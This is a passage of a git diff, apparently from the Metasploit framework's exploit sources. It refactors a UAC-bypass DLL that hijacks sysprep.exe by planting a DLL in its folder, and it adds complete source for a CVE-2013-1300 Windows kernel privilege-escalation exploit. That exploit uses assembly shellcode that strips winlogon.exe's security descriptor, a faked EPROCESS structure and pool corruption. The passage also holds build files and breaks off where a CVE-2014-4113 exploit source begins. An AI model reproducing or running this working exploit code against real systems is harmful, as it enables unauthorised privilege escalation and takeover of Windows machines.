EnableFastChecks MultiThreadedDebugDLL @@ -132,7 +132,7 @@ MaxSpeed OnlyExplicitInline true - WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;;%(PreprocessorDefinitions) MultiThreaded true @@ -190,13 +190,13 @@ copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\" - + - + diff --git a/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp b/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp old mode 100644 new mode 100755 index 4f0ba9b113..1f27187277 --- a/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp +++ b/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp @@ -1,119 +1,158 @@ +#include "ReflectiveLoader.h" #include "Exploit.h" -void exploit() -{ +#define SAFERELEASE(x) if(NULL != x){x->Release(); x = NULL;} - const wchar_t *szSysPrepDir = L"\\System32\\sysprep\\"; - const wchar_t *szSysPrepDir_syswow64 = L"\\Sysnative\\sysprep\\"; - const wchar_t *sySysPrepExe = L"sysprep.exe"; - const wchar_t *szElevDll = L"CRYPTBASE.dll"; - const wchar_t *szSourceDll = L"CRYPTBASE.dll"; - wchar_t szElevDir[MAX_PATH] = {}; - wchar_t szElevDir_syswow64[MAX_PATH] = {}; - wchar_t szElevDllFull[MAX_PATH] = {}; - wchar_t szElevDllFull_syswow64[MAX_PATH] = {}; - wchar_t szElevExeFull[MAX_PATH] = {}; - wchar_t path[MAX_PATH] = {}; - wchar_t windir[MAX_PATH] = {}; - const wchar_t *szElevArgs = L""; - const wchar_t *szEIFOMoniker = NULL; - PVOID OldValue = NULL; +extern "C" { - IFileOperation *pFileOp = NULL; - IShellItem *pSHISource = 0; - IShellItem *pSHIDestination = 0; - IShellItem *pSHIDelete = 0; + void exploit(BypassUacPaths const * const paths) + { + const wchar_t *szElevArgs = L""; + const wchar_t *szEIFOMoniker = NULL; - const IID *pIID_EIFO = &__uuidof(IFileOperation); - const IID *pIID_EIFOClass = &__uuidof(FileOperation); - const IID *pIID_ShellItem2 = &__uuidof(IShellItem2); + PVOID OldValue = NULL; - GetWindowsDirectoryW(windir, MAX_PATH); - GetTempPathW(MAX_PATH, path); + IFileOperation *pFileOp = NULL; + IShellItem *pSHISource = 0; + IShellItem *pSHIDestination = 0; + IShellItem *pSHIDelete = 0; - /* %temp%\cryptbase.dll */ - wcscat_s(path, MAX_PATH, szSourceDll); - - /* %windir%\System32\sysprep\ */ - wcscat_s(szElevDir, MAX_PATH, windir); - wcscat_s(szElevDir, MAX_PATH, szSysPrepDir); + BOOL bComInitialised = FALSE; - /* %windir%\sysnative\sysprep\ */ - wcscat_s(szElevDir_syswow64, MAX_PATH, windir); - wcscat_s(szElevDir_syswow64, MAX_PATH, szSysPrepDir_syswow64); + const IID *pIID_EIFO = &__uuidof(IFileOperation); + const IID *pIID_EIFOClass = &__uuidof(FileOperation); + const IID *pIID_ShellItem2 = &__uuidof(IShellItem2); - /* %windir\system32\sysprep\cryptbase.dll */ - wcscat_s(szElevDllFull, MAX_PATH, szElevDir); - wcscat_s(szElevDllFull, MAX_PATH, szElevDll); + dprintf("[BYPASSUACINJ] szElevDir = %S", paths->szElevDir); + dprintf("[BYPASSUACINJ] szElevDirSysWow64 = %S", paths->szElevDirSysWow64); + dprintf("[BYPASSUACINJ] szElevDll = %S", paths->szElevDll); + dprintf("[BYPASSUACINJ] szElevDllFull = %S", paths->szElevDllFull); + dprintf("[BYPASSUACINJ] szElevExeFull = %S", paths->szElevExeFull); + dprintf("[BYPASSUACINJ] szDllTempPath = %S", paths->szDllTempPath); - /* %windir\sysnative\sysprep\cryptbase.dll */ - wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDir_syswow64); - wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDll); - - /* %windir%\system32\sysprep\sysprep.exe */ - wcscat_s(szElevExeFull, MAX_PATH, szElevDir); - wcscat_s(szElevExeFull, MAX_PATH, sySysPrepExe); - - if (CoInitialize(NULL) == S_OK) - { - if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**) &pFileOp) == S_OK) + do { - if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) == S_OK) + if (CoInitialize(NULL) != S_OK) { - if (SHCreateItemFromParsingName((PCWSTR) path, NULL, *pIID_ShellItem2, (void**) &pSHISource) == S_OK) - { - if (SHCreateItemFromParsingName(szElevDir, NULL, *pIID_ShellItem2, (void**) &pSHIDestination) == S_OK) - { - if (pFileOp->CopyItem(pSHISource, pSHIDestination, szElevDll, NULL) == S_OK) - { - /* Copy the DLL file to the sysprep folder*/ - if (pFileOp->PerformOperations() == S_OK) - { - /* Execute sysprep.exe */ - SHELLEXECUTEINFOW shinfo; - ZeroMemory(&shinfo, sizeof(shinfo)); - shinfo.cbSize = sizeof(shinfo); - shinfo.fMask = SEE_MASK_NOCLOSEPROCESS; - shinfo.lpFile = szElevExeFull; - shinfo.lpParameters = szElevArgs; - shinfo.lpDirectory = szElevDir; - shinfo.nShow = SW_HIDE; - - Wow64DisableWow64FsRedirection(&OldValue); - if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL) - { - WaitForSingleObject(shinfo.hProcess, 10000); - CloseHandle(shinfo.hProcess); - } - - if (S_OK == SHCreateItemFromParsingName(szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)) - { - if (0 != pSHIDelete) - { - if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL)) - { - pFileOp->PerformOperations(); - // If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path - // DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see: - // http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx - if (S_OK == SHCreateItemFromParsingName(szElevDllFull_syswow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)) - { - if (0 != pSHIDelete) - { - if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL)) - { - pFileOp->PerformOperations(); - } - } - } - } - } - } - } - } - } - } + dprintf("[BYPASSUACINJ] Failed to initialize COM"); + break; } + + bComInitialised = TRUE; + + if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**)&pFileOp) != S_OK) + { + dprintf("[BYPASSUACINJ] Couldn't create EIFO instance"); + break; + } + + if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK) + { + dprintf("[BYPASSUACINJ] Couldn't Set operating flags on file op."); + break; + } + + if (SHCreateItemFromParsingName((PCWSTR)paths->szDllTempPath, NULL, *pIID_ShellItem2, (void**)&pSHISource) != S_OK) + { + dprintf("[BYPASSUACINJ] Unable to create item from name (source)"); + break; + } + + if (SHCreateItemFromParsingName(paths->szElevDir, NULL, *pIID_ShellItem2, (void**)&pSHIDestination) != S_OK) + { + dprintf("[BYPASSUACINJ] Unable to create item from name (destination)"); + break; + } + + if (pFileOp->CopyItem(pSHISource, pSHIDestination, paths->szElevDll, NULL) != S_OK) + { + dprintf("[BYPASSUACINJ] Unable to prepare copy op for elev dll"); + break; + } + + /* Copy the DLL file to the target folder*/ + if (pFileOp->PerformOperations() != S_OK) + { + dprintf("[BYPASSUACINJ] Unable to copy elev dll"); + break; + } + + /* Execute the target binary */ + SHELLEXECUTEINFOW shinfo; + ZeroMemory(&shinfo, sizeof(shinfo)); + shinfo.cbSize = sizeof(shinfo); + shinfo.fMask = SEE_MASK_NOCLOSEPROCESS; + shinfo.lpFile = paths->szElevExeFull; + shinfo.lpParameters = szElevArgs; + shinfo.lpDirectory = paths->szElevDir; + shinfo.nShow = SW_HIDE; + + Wow64DisableWow64FsRedirection(&OldValue); + if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL) + { + WaitForSingleObject(shinfo.hProcess, 10000); + CloseHandle(shinfo.hProcess); + } + + if (S_OK != SHCreateItemFromParsingName(paths->szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete) + || NULL == pSHIDelete) + { + dprintf("[BYPASSUACINJ] Failed to create item from parsing name (delete)"); + break; + } + + if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL)) + { + dprintf("[BYPASSUACINJ] Failed to prepare op for delete"); + break; + } + + if (pFileOp->PerformOperations() == S_OK) + { + dprintf("[BYPASSUACINJ] Successfully deleted dll"); + + // bail out this point because we don't need to keep trying to delete + break; + } + + SAFERELEASE(pSHIDelete); + + // If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path + // DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see: + // http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx + if (S_OK != SHCreateItemFromParsingName(paths->szElevDirSysWow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete) + || NULL == pSHIDelete) + { + dprintf("[BYPASSUACINJ] Failed to create item from parsing name for delete (shellitem2)"); + break; + } + + if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL)) + { + dprintf("[BYPASSUACINJ] Failed to prepare op for delete (shellitem2)"); + break; + } + + if (pFileOp->PerformOperations() == S_OK) + { + dprintf("[BYPASSUACINJ] Successfully deleted DLL in target directory from SYSWOW64 process"); + } + else + { + dprintf("[BYPASSUACINJ] Failed to delete target DLL"); + } + + } while (0); + + SAFERELEASE(pSHIDelete); + SAFERELEASE(pSHIDestination); + SAFERELEASE(pSHISource); + SAFERELEASE(pFileOp); + + if (bComInitialised) + { + CoUninitialize(); } } -} + +} \ No newline at end of file diff --git a/external/source/exploits/bypassuac_injection/dll/src/Exploit.h b/external/source/exploits/bypassuac_injection/dll/src/Exploit.h old mode 100644 new mode 100755 index cce02e5bff..6197bbb276 --- a/external/source/exploits/bypassuac_injection/dll/src/Exploit.h +++ b/external/source/exploits/bypassuac_injection/dll/src/Exploit.h @@ -5,4 +5,32 @@ #include #include -EXTERN_C void exploit(); +// Uncomment this line to include debug output +//#define DEBUGTRACE + +#ifdef DEBUGTRACE +#define dprintf(...) real_dprintf(__VA_ARGS__) +static void real_dprintf(char *format, ...) +{ + va_list args; + char buffer[1024]; + va_start(args, format); + vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format, args); + strcat_s(buffer, sizeof(buffer), "\r\n"); + OutputDebugStringA(buffer); +} +#else +#define dprintf(...) +#endif + +typedef struct _BypassUacPaths +{ + wchar_t szElevDir[MAX_PATH]; + wchar_t szElevDirSysWow64[MAX_PATH]; + wchar_t szElevDll[MAX_PATH]; + wchar_t szElevDllFull[MAX_PATH]; + wchar_t szElevExeFull[MAX_PATH]; + wchar_t szDllTempPath[MAX_PATH]; +} BypassUacPaths; + +EXTERN_C void exploit(BypassUacPaths const * const paths); diff --git a/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c b/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c old mode 100644 new mode 100755 index 83b0c9fddb..e9e97c5fb8 --- a/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c +++ b/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c @@ -5,22 +5,29 @@ extern HINSTANCE hAppInstance; BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) { - BOOL bReturnValue = TRUE; - switch( dwReason ) - { - case DLL_QUERY_HMODULE: - if( lpReserved != NULL ) - *(HMODULE *)lpReserved = hAppInstance; - break; - case DLL_PROCESS_ATTACH: - hAppInstance = hinstDLL; - exploit(); - ExitProcess(0); - break; - case DLL_PROCESS_DETACH: - case DLL_THREAD_ATTACH: - case DLL_THREAD_DETACH: - break; - } - return bReturnValue; + switch (dwReason) + { + case DLL_QUERY_HMODULE: + if (lpReserved != NULL) + { + *(HMODULE *)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + + if (NULL != lpReserved) + { + dprintf("[BYPASSUACINJ] Launching exploit with 0x%p", lpReserved); + exploit((BypassUacPaths*)lpReserved); + } + + ExitProcess(0); + break; + default: + break; + } + + return TRUE; + } diff --git a/external/source/exploits/cve-2013-1300/cve-2013-1300.sln b/external/source/exploits/cve-2013-1300/cve-2013-1300.sln new file mode 100755 index 0000000000..c1eb1c9cdc --- /dev/null +++ b/external/source/exploits/cve-2013-1300/cve-2013-1300.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "schlamperei", "schlamperei\schlamperei.vcxproj", "{C093C490-61BF-433E-AEB4-80753B20DEC7}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {C093C490-61BF-433E-AEB4-80753B20DEC7}.Debug|Win32.ActiveCfg = Debug|Win32 + {C093C490-61BF-433E-AEB4-80753B20DEC7}.Debug|Win32.Build.0 = Debug|Win32 + {C093C490-61BF-433E-AEB4-80753B20DEC7}.Release|Win32.ActiveCfg = Release|Win32 + {C093C490-61BF-433E-AEB4-80753B20DEC7}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/cve-2013-1300/make.msbuild b/external/source/exploits/cve-2013-1300/make.msbuild new file mode 100644 index 0000000000..c18153ec01 --- /dev/null +++ b/external/source/exploits/cve-2013-1300/make.msbuild @@ -0,0 +1,17 @@ + + + + .\cve-2013-1300.sln + + + + + + + + + + + + + diff --git a/external/source/exploits/cve-2013-1300/schlamperei/schlamperei.c b/external/source/exploits/cve-2013-1300/schlamperei/schlamperei.c new file mode 100755 index 0000000000..c7fea10a62 --- /dev/null +++ b/external/source/exploits/cve-2013-1300/schlamperei/schlamperei.c @@ -0,0 +1,291 @@ +/*! + * @file dllmain.cpp + * @brief Exploit for CVE-2013-1300 aka ms13-053 + * @detail Tested on Windows 7 32-bit. + * Used in pwn2own 2013 to break out of chrome's sandbox. + * Found and exploited by nils and jon of @mwrlabs. + */ + +#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN +#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" + +// Purloined from ntstatus.h +#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth + +#define WIN32_NO_STATUS +#include +#undef WIN32_NO_STATUS + +#ifndef _NTDEF_ +typedef __success(return >= 0) LONG NTSTATUS; +typedef NTSTATUS *PNTSTATUS; +#endif + +#define MAX_PAGE 4096 + +#define TABLE_BASE 0xff910000 + +#define EXPLOIT_MSG WM_GETTEXT + +// global variables FTW +HWND gHwnd = 0x0; +unsigned int gEPROCESS = 0x0; +unsigned gPid = 0x0; + +typedef struct _HANDLEENTRY { + VOID *phead; + VOID *pOwner; + UINT8 bType; + UINT8 bFlags; + UINT16 wUniq; +} HANDLEENTRY, *PHANDLEENTRY; + +DWORD gethandleaddress(HANDLE h) { + HMODULE mod = GetModuleHandleA("user32.dll"); + DWORD* sharedinfo = (DWORD*)GetProcAddress(mod, "gSharedInfo"); + PHANDLEENTRY handles = (PHANDLEENTRY)sharedinfo[1]; + DWORD index = (DWORD)h&0x3ff; + HANDLEENTRY entry = handles[index]; + return (DWORD)entry.phead; +} + +DWORD kernelwndproc(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam) { + WORD um=0; + __asm { + mov ax, cs + mov um, ax + } + if(um == 0x1b) { + + } else { + // KERNEL MODE CODE EXECUTION + // shellcode to change ACL of winlogon.exe to 0x0 + __asm { + mov eax, hwnd // WND + mov eax, [eax+8] // THREADINFO + mov eax, [eax] // ETHREAD + mov eax, [eax+0x150] // KPROCESS + mov eax, [eax+0xb8] // flink + procloop: + lea edx, [eax-0xb8] // KPROCESS + mov eax, [eax] + add edx, 0x16c // module name + cmp dword ptr [edx], 0x6c6e6977 // "winl" for winlogon.exe + jne procloop + sub edx, 0x170 + mov dword ptr [edx], 0x0 // null acl + mov eax, [edx + 0xb8] // write winlogon pid to global var + mov gPid, eax + } + return 0x201000; + } + return DefWindowProcW(hwnd,msg,wparam,lparam); +} + +HWND createhelperwnd() { + WNDCLASSA wndclass; + HANDLE hinst = GetModuleHandleA(0); + DWORD rc = 0; + + wndclass.style = 0x4000; + wndclass.lpfnWndProc = (WNDPROC)kernelwndproc; + wndclass.cbClsExtra = 0; + wndclass.cbWndExtra = 0; + wndclass.hInstance = (HINSTANCE)hinst; + wndclass.hIcon = LoadIconA(0, (LPCSTR)0x107); + wndclass.hCursor = 0; + wndclass.hbrBackground = (HBRUSH)6; + wndclass.lpszMenuName = 0; + wndclass.lpszClassName = (LPCSTR) 0x1338; + rc=RegisterClassA(&wndclass); + HWND windowhandle = CreateWindowExA(0, (LPCSTR) 0x1338, "helper", 0, 0, 0, 0, 0, 0, 0, 0, hinst); + + return windowhandle; +} + +typedef NTSTATUS __stdcall NtAllocateVirtualMemory_T(HANDLE processHandle, + PVOID *baseAddress, + ULONG_PTR zeroBits, + PSIZE_T regionSize, + ULONG allocationType, + ULONG protect); + +BOOL AllocFakeEProcess(DWORD address) { + unsigned int addr = 0x200000; + DWORD allocsize = 0x4000; + int x=0; + + NtAllocateVirtualMemory_T * pfnNtAllocateVirtualMemory = 0; + pfnNtAllocateVirtualMemory = (NtAllocateVirtualMemory_T *)GetProcAddress( + GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory"); + + + unsigned o = (0x20 / 4); // the offset into the page + NTSTATUS res = 0x0; + + for(x=0; x<0x60; x++) { + res = pfnNtAllocateVirtualMemory((HANDLE)0xffffffff, (PVOID*)&addr, 0, &allocsize, 0x3000, 0x40); + if(res == 0x0) { + + break; + } + + addr += 0x10000; + } + if(res!=0) return FALSE; + memset((void*)addr, 0xab, 0x4000); + UINT *eprocess = (UINT*)addr+o; + UINT *before = (UINT*)addr; + // large enough values to hold reference + before[2] = 0x00080000; + before[3] = 0x400000; + UINT *second = (UINT*)addr + (0x1000/4); + for(x=0; x<100; x++) eprocess[x] = (0xdead<<16) + (0xaa00 | x); + + eprocess[0] = 0x03030303; // least significant byte == 0x3 + + // Pointer to EPROCESS_QUOTA_BLOCK + // Will point into the window object and on decrement flip the flag to enable the kernel mode window procedure + eprocess[0xd4/4] = address; + + gEPROCESS = (unsigned int)eprocess; + //for(x=0; x<100; x++) second[x] = (0xbeef<<16) + (0xbb00 | x); + //second[0x20] = 0x2; + //second[0x30] = 0x1; + return TRUE; +} + +DWORD wndproc(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam) { + if(msg == EXPLOIT_MSG) { + // triggering the exploit through WM_GETTEXT + // printf("[-] WM_GETTEXT message\n"); + unsigned char payload[] = "ABCDE "; + payload[7] = (gEPROCESS>>16) & 0xff; + memcpy((void *) lparam, (void *)payload, 8); + return 8; + } + return DefWindowProcA(hwnd, msg, wparam, lparam); +} + +DWORD windowthreadproc(LPVOID arg) { + WNDCLASSA wndclass; + HANDLE hinst = GetModuleHandleA(0); + DWORD rc = 0; + MSG msg; + + wndclass.style = 0x4000; + wndclass.lpfnWndProc = (WNDPROC)wndproc; + wndclass.cbClsExtra = 0; + wndclass.cbWndExtra = 0; + wndclass.hInstance = (HINSTANCE)hinst; + wndclass.hIcon = LoadIconA(0, (LPCSTR)0x107); + wndclass.hCursor = 0; + wndclass.hbrBackground = (HBRUSH)6; + wndclass.lpszMenuName = 0; + wndclass.lpszClassName = (LPCSTR) 0x1337; + rc=RegisterClassA(&wndclass); + + HWND windowhandle = CreateWindowExA(0, (LPCSTR) 0x1337, "Jon Rocks!", 0, 0, 0, 0, 0, 0, 0, 0, hinst); + + gHwnd = windowhandle; + + while(1) { + GetMessageA(&msg, 0x0, 0x0, 0x0); + TranslateMessage(&msg); + DispatchMessageA(&msg); + } + + return 0; +} + +DWORD NtUserMessageCall(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam, DWORD result, DWORD fnid, DWORD ansi) { + __asm { + push ansi + push fnid + push result + push lparam + push wparam + push msg + push hwnd + push 0xdeadbeef + mov eax, 11eah + mov edx, 7ffe0300h + call [edx] + add esp, 20h + } +} + +typedef struct _CLIENT_ID +{ + PVOID UniqueProcess; + PVOID UniqueThread; +} CLIENT_ID, *PCLIENT_ID; + +typedef long (*_RtlCreateUserThread)(HANDLE, + PSECURITY_DESCRIPTOR, + BOOLEAN,ULONG, + PULONG,PULONG, + PVOID,PVOID, + PHANDLE,PCLIENT_ID); + +_RtlCreateUserThread RtlCreateUserThread; + +int Schlamperei() +{ + // Create window which will execute the wndproc in kernel mode + HWND wnd = createhelperwnd(); + + // Retrieve memory address of window using gSharedInfo + DWORD addressofwnd = gethandleaddress(wnd); + + HMODULE ntdll=LoadLibraryA("ntdll.dll"); + RtlCreateUserThread=(_RtlCreateUserThread)GetProcAddress(ntdll,"RtlCreateUserThread"); + + // Allocate fake EPROCESS in user mode + // see "Kernel Pool Exploitation on Windows 7" by Tarjei Mandt + if(!AllocFakeEProcess(addressofwnd-0x80+0x15)) { + return 0; + } + + // Create window in new thread to trigger inter thread message sending + HANDLE thread = CreateThread(0,0,(LPTHREAD_START_ROUTINE)windowthreadproc,0,0,0); + + Sleep(0x1000); + + // 0x9 is size of allocation, results in buffer (8 + 4) = 12 + // 8 byte block allocations = 16 bytes + // so we will copy in 8*2 bytes = 16 bytes to corrupt the pool pointer + unsigned char *buf = (unsigned char *)malloc(16); + for(int i=0; i<0x40; i++) { + NtUserMessageCall(gHwnd, EXPLOIT_MSG, 0x8, (LPARAM)buf, 0x0, 0x2b3, 0x10); + } + + SendMessage(wnd, 0x401, addressofwnd, 0x0); + + ExitProcess(0); +} + +extern HINSTANCE hAppInstance; + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) { + BOOL bReturnValue = TRUE; + switch (dwReason) { + case DLL_QUERY_HMODULE: + hAppInstance = hinstDLL; + if (lpReserved != NULL) { + *(HMODULE *)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + Schlamperei(); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +}; + + diff --git a/external/source/exploits/cve-2013-1300/schlamperei/schlamperei.vcxproj b/external/source/exploits/cve-2013-1300/schlamperei/schlamperei.vcxproj new file mode 100755 index 0000000000..2a78c73931 --- /dev/null +++ b/external/source/exploits/cve-2013-1300/schlamperei/schlamperei.vcxproj @@ -0,0 +1,111 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + + {C093C490-61BF-433E-AEB4-80753B20DEC7} + Win32Proj + schlamperei + + + + DynamicLibrary + true + Unicode + v120 + + + DynamicLibrary + false + true + Unicode + v120 + + + + + + + + + + + + + ../../../ReflectiveDLLInjection/common;$(IncludePath) + false + $(Configuration)\$(Platform)\ + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) + + + ../../../ReflectiveDLLInjection/common;$(IncludePath) + false + $(Configuration)\$(Platform)\ + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;SCHLAMPEREI_DLL_EXPORTS;%(PreprocessorDefinitions) + + + Windows + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;SCHLAMPEREI_DLL_EXPORTS;%(PreprocessorDefinitions) + MultiThreaded + + + Windows + true + true + true + + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "..\..\..\..\..\data\exploits\cve-2013-1300\" GOTO COPY + mkdir "..\..\..\..\..\data\exploits\cve-2013-1300\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\cve-2013-1300\" + + + + + false + NotUsing + false + NotUsing + + + + + + + + + + + + + + diff --git a/external/source/exploits/cve-2014-4113/.gitignore b/external/source/exploits/cve-2014-4113/.gitignore new file mode 100755 index 0000000000..7649d7f46b --- /dev/null +++ b/external/source/exploits/cve-2014-4113/.gitignore @@ -0,0 +1,151 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# User-specific files +*.suo +*.user +*.sln.docstates + +# Build results + +[Dd]ebug/ +[Rr]elease/ +x64/ +build/ +[Bb]in/ +[Oo]bj/ + +# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets +!packages/*/build/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +*_i.c +*_p.c +*.ilk +*.meta +*.obj +*.pch +*.pdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.log +*.scc + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opensdf +*.sdf +*.cachefile + +# Visual Studio profiler +*.psess +*.vsp +*.vspx + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# NCrunch +*.ncrunch* +.*crunch*.local.xml + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.Publish.xml +*.pubxml + +# NuGet Packages Directory +## TODO: If you have NuGet Package Restore enabled, uncomment the next line +#packages/ + +# Windows Azure Build Output +csx +*.build.csdef + +# Windows Store app package directory +AppPackages/ + +# Others +sql/ +*.Cache +ClientBin/ +[Ss]tyle[Cc]op.* +~$* +*~ +*.dbmdl +*.[Pp]ublish.xml +*.pfx +*.publishsettings + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file to a newer +# Visual Studio version. Backup files are not needed, because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm + +# SQL Server files +App_Data/*.mdf +App_Data/*.ldf + +# ========================= +# Windows detritus +# ========================= + +# Windows image file caches +Thumbs.db +ehthumbs.db + +# Folder config file +Desktop.ini + +# Recycle Bin used on file shares +$RECYCLE.BIN/ + +# Mac crap +.DS_Store diff --git a/external/source/exploits/cve-2014-4113/cve-2014-4113.sln b/external/source/exploits/cve-2014-4113/cve-2014-4113.sln new file mode 100755 index 0000000000..4e51163178 --- /dev/null +++ b/external/source/exploits/cve-2014-4113/cve-2014-4113.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2014-4113", "cve-2014-4113\cve-2014-4113.vcxproj", "{E80F11CD-6698-492F-B4B0-1A2348A24BB0}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Debug|Win32.ActiveCfg = Debug|Win32 + {E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Debug|Win32.Build.0 = Debug|Win32 + {E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Debug|x64.ActiveCfg = Debug|x64 + {E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Debug|x64.Build.0 = Debug|x64 + {E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Release|Win32.ActiveCfg = Release|Win32 + {E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Release|Win32.Build.0 = Release|Win32 + {E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Release|x64.ActiveCfg = Release|x64 + {E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c b/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c new file mode 100755 index 